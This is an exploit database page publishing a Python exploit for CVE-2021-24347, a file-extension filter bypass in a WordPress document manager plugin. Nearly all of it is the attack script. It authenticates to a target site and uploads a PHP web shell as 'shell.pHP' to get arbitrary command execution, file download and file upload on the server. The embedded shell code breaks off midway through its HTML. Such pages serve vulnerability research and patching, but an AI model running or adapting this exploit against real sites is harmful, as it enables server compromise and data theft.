WordPress SP Project And Document Manager 4.21 Shell Upload

2021.07.08
Credit: Ron Jost
Risk: High
Local: No
Remote: Yes


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Wordpress Plugin SP Project & Document Manager 4.21 - Remote Code Execution (RCE) (Authenticated) # Date 07.07.2021 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: https://smartypantsplugins.com/ # Software Link: https://downloads.wordpress.org/plugin/sp-client-document-manager.4.21.zip # Version: Before 4.22 # Tested on: Ubuntu 18.04 # CVE: CVE-2021-24347 # CWE: CWE-434 # Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24347/README.md ''' Description: The SP Project & Document Manager WordPress plugin before 4.22 allows users to upload files, however, the plugin attempts to prevent php and other similar files that could be executed on the server from being uploaded by checking the file extension. It was discovered that php files could still be uploaded by changing the file extension's case, for example, from "php" to "pHP". ''' ''' Banner: ''' banner = """ ______ _______ ____ ___ ____ _ ____ _ _ _____ _ _ _____ / ___\ \ / / ____| |___ \ / _ \___ \/ | |___ \| || ||___ /| || |___ | | | \ \ / /| _| _____ __) | | | |__) | |_____ __) | || |_ |_ \| || |_ / / | |___ \ V / | |__|_____/ __/| |_| / __/| |_____/ __/|__ _|__) |__ _/ / \____| \_/ |_____| |_____|\___/_____|_| |_____| |_||____/ |_|/_/ * Wordpress Plugin SP Project & Document Manager < 4.22 - RCE (Authenticated) * @Hacker5preme """ print(banner) ''' Import required modules: ''' import requests import argparse ''' User-Input: ''' my_parser = argparse.ArgumentParser(description='Wordpress Plugin SP Project & Document Manager < 4.22 - RCE (Authenticated)') my_parser.add_argument('-T', '--IP', type=str) my_parser.add_argument('-P', '--PORT', type=str) my_parser.add_argument('-U', '--PATH', type=str) my_parser.add_argument('-u', '--USERNAME', type=str) my_parser.add_argument('-p', '--PASSWORD', type=str) args = my_parser.parse_args() target_ip = args.IP target_port = args.PORT wp_path = args.PATH username = args.USERNAME password = args.PASSWORD print('') print('[*] Starting Exploit:') print('') ''' Authentication: ''' session = requests.Session() auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php' # Header: header = { 'Host': target_ip, 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Origin': 'http://' + target_ip, 'Connection': 'close', 'Upgrade-Insecure-Requests': '1' } # Body: body = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'testcookie': '1' } # Authenticate: print('') auth = session.post(auth_url, headers=header, data=body) auth_header = auth.headers['Set-Cookie'] if 'wordpress_logged_in' in auth_header: print('[+] Authentication successfull !') else: print('[-] Authentication failed !') exit() ''' Retrieve User ID from the widget: ''' user_id_text = session.get('http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin.php?page=sp-client-document-manager-fileview').text search_string = "<form><select name='user_uid' id='user_uid' class=''>" user_string = ">" + username user_id_text = user_id_text[user_id_text.find(search_string):] user_id_text = user_id_text[user_id_text.find(user_string) - 2: user_id_text.find(user_string)] user_id = user_id_text.replace("'", '') ''' Exploit: ''' exploit_url = "http://" + target_ip + ':' + target_port + wp_path + 'wp-admin/admin.php?page=sp-client-document-manager-fileview&id=' + user_id # Header (Exploit): Header = { "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "de,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Referer": exploit_url, "Content-Type": "multipart/form-data; boundary=---------------------------37032792112149247252673711332", "Origin": "http://" + target_ip, "Connection": "close", "Upgrade-Insecure-Requests": "1" } # Web Shell payload (p0wny shell): https://github.com/flozz/p0wny-shell shell_payload = "-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"cdm_upload_file_field\"\r\n\r\na1b3bac1bc\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"_wp_http_referer\"\r\n\r\n/wordpress/wp-admin/admin.php?page=sp-client-document-manager-fileview&id=1\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"dlg-upload-name\"\r\n\r\nExploits\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"dlg-upload-file[]\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"dlg-upload-file[]\"; filename=\"shell.pHP\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-we # Exploit: session.post(exploit_url, headers=header, data=shell_payload) print('') print('[+] Exploit done !') print(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/sp-client-document-manager/' + user_id + '/shell.php') print('')


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top